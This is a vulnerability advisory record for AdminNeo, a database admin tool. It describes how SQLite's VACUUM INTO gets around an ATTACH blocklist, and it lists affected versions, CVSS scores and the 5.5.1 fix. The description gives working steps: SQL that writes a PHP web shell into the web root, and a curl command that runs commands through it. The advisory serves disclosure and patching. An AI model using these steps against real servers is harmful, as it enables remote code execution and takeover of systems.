{"id":"GHSA-q5mp-gfjf-cf2j","aliases":["CVE-2026-96630"],"title":"AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"## Summary\nAdminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.\n\nOriginally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)\n\n## Root Cause\nsql.inc.php, line 146:\n\n```php\nif (DIALECT == \"sqlite\" && preg_match(\"~^$space*+ATTACH\\\\b~i\", $q, $match)) {\n    // blocked\n}\n```\n\nOnly `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.\n\n## Steps To Reproduce\n\n### 1.  Login to SQLite\n1. Open AdminNeo and select driver: **SQLite**\n2. Login and create a new database (e.g., `stage.db`)\n\n### 2. Inject PHP code and write the shell\n\nNavigate to **SQL command** and execute:\n\n```sql\nCREATE TABLE \"<?php system($_GET['c']); ?>\" (i int);\nVACUUM INTO '/var/www/html/shell.php';\n```\n\nThe SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it.\n\n### 3. Execute commands\n\n```shell\ncurl \"http://TARGET/shell.php?c=id\"\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\n## Collaborator Request\n\nThis vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!","severity":"high","score":7.2,"published":"2026-10-30T22:51:37.000Z","modified":"2026-10-30T23:00:04.373Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"adminneo-org/adminneo","sources":[{"name":"OSV · GHSA-q5mp-gfjf-cf2j","url":"https://osv.dev/vulnerability/GHSA-q5mp-gfjf-cf2j"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"5.5.1"}],"type":"ECOSYSTEM"}],"versions":["v4.10.0","v4.11.0","v4.12.0","v4.13.0","v4.14.0","v4.15.0","v4.16.0","v4.16.1","v4.17.0","v4.17.1","v4.17.2","v4.2.0","v4.2.1","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.3.0","v4.3.1","v4.4.0","v4.5.0","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.7.0","v4.7.1","v4.7.2","v4.7.3","v4.7.4","v4.7.5","v4.7.6","v4.7.7","v4.7.8","v4.7.9","v4.8.0","v4.8.1","v4.8.2","v4.9.0","v4.9.1","v4.9.2","v4.9.3","v4.9.4","v5.0.0","v5.0.0-rc","v5.1.0","v5.1.1","v5.2.0","v5.2.1","v5.3.0","v5.4.0","v5.4.1","v5.5.0"],"fixed":["5.5.1"]}],"sourceAffected":[],"references":["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j","https://github.com/adminneo-org/adminneo/commit/cf45efb3ac34e5e7b699cdc996f6eec2814ccda1","https://github.com/adminneo-org/adminneo","https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"],"sources":[{"name":"OSV","id":"GHSA-q5mp-gfjf-cf2j","modified":"2026-10-30T23:00:04.373716440Z","url":"https://osv.dev/vulnerability/GHSA-q5mp-gfjf-cf2j"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2}],"products":[],"remediation":[],"observedAt":"2026-10-30T23:33:22.022Z","kev":{"status":"not-listed","checkedAt":"2026-10-31T07:55:30.864Z"},"coverage":[{"source":"NVD","status":"no-result","checkedAt":"2026-10-30T23:45:31.602Z","attemptedAt":"2026-10-30T23:45:31.602Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-30T23:45:31.956Z","attemptedAt":"2026-10-30T23:45:31.956Z"},{"source":"EUVD","status":"no-result","checkedAt":"2026-10-30T23:45:31.557Z","attemptedAt":"2026-10-30T23:45:31.557Z"},{"source":"EPSS","status":"no-result","checkedAt":"2026-10-30T23:45:31.560Z","attemptedAt":"2026-10-30T23:45:31.560Z"}],"evidence":[{"source":"GitHub Advisory Database","id":"GHSA-q5mp-gfjf-cf2j","url":"https://github.com/advisories/GHSA-q5mp-gfjf-cf2j","modified":"2026-10-30T22:51:38Z","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","checkedAt":"2026-10-30T23:45:31.956Z"}],"aiSummary":null}